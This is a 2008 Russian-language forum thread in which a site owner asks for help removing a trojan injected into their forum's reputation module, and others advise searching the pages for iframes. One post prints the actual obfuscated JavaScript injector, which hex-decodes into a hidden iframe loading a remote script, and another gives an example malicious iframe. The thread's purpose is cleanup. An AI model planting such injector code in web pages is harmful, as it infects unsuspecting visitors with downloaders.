Вирус на форуме.

Discussion in 'Безопасность и Анонимность' started by Inspector, 6 Aug 2008.

  1. Inspector

    Inspector Elder - Старейшина

    Joined:
    27 Apr 2008
    Messages:
    9
    Likes Received:
    24
    Reputations:
    0
    На форуме: http://www.rufon.net/forum
    сидит троян. Вот как Каспер его палит: http://s60.radikal.ru/i167/0808/94/1c4c61717a03.jpg
    Троянская программа палится Касперским во время изменения репутации какому нибудь пользователю.
    Обьясните как его dellнуть с форума. И где он может сидеть.
     
  2. bublebuble

    bublebuble Elder - Старейшина

    Joined:
    15 Sep 2007
    Messages:
    102
    Likes Received:
    28
    Reputations:
    0
    по логам видно айфреймер, скорее всего нашли багу в модуле репутации и поставили фрейм с вирусом, ищи лишний код в файлах
     
    2 people like this.
  3. bublebuble

    bublebuble Elder - Старейшина

    Joined:
    15 Sep 2007
    Messages:
    102
    Likes Received:
    28
    Reputations:
    0
    чтото вроде:
    <iframe src="http://www.hhhiiiii.eu"></iframe>
     
  4. GROB_T

    GROB_T Elder - Старейшина

    Joined:
    3 Mar 2007
    Messages:
    134
    Likes Received:
    50
    Reputations:
    6
    скорее всего код зашифрован
     
  5. Indig0

    Indig0 New Member

    Joined:
    28 Jul 2008
    Messages:
    9
    Likes Received:
    3
    Reputations:
    0
    Во.. оно самое )

    Code:
    <script>function v4700bdb3e4ebe(v4700bdb3e5e62){  return(parseInt(v4700bdb3e5e62,16));}function v4700bdb3e8d3f(v4700bdb3e9ce2){ var v4700bdb3ecbc3=2; var v4700bdb3eac83='';for(v4700bdb3ebc23=0; v4700bdb3ebc23<v4700bdb3e9ce2.length; v4700bdb3ebc23+=v4700bdb3ecbc3){ v4700bdb3eac83+=(String.fromCharCode(v4700bdb3e4ebe(v4700bdb3e9ce2.substr(v4700bdb3ebc23, v4700bdb3ecbc3))));}return v4700bdb3eac83;} document.write(v4700bdb3e8d3f('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D656435207372633D5C27687474703A2F2F676F6F676C652D7374617469737469632E636F6D2F696E2E6367693F323F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3634373133292B273863375C272077696474683D353833206865696768743D313131207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
    
     
  6. Inspector

    Inspector Elder - Старейшина

    Joined:
    27 Apr 2008
    Messages:
    9
    Likes Received:
    24
    Reputations:
    0
    Есть http://rufon.net/forum проблемка.
    Имя той проблемке: Trojan-Downloader.JS.Small.hq & Trojan-Clicker.HTML.IFrame.gv

    [​IMG] [​IMG]

    Подскажите, уважаемые коллеги. Где на хосте искать вирь, чтобы нах dell-нуть его. И вообще что делать ?
     
  7. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Ищи ифреймы в сорце страницы (iframe) и делеть нах все (обычно либо внизу, либо вверху, либо и там, и там)
     
  8. Mishatko

    Mishatko Elder - Старейшина

    Joined:
    9 Apr 2008
    Messages:
    39
    Likes Received:
    6
    Reputations:
    0
    ТС озвучьте двиг и плагины к нему.
     
Loading...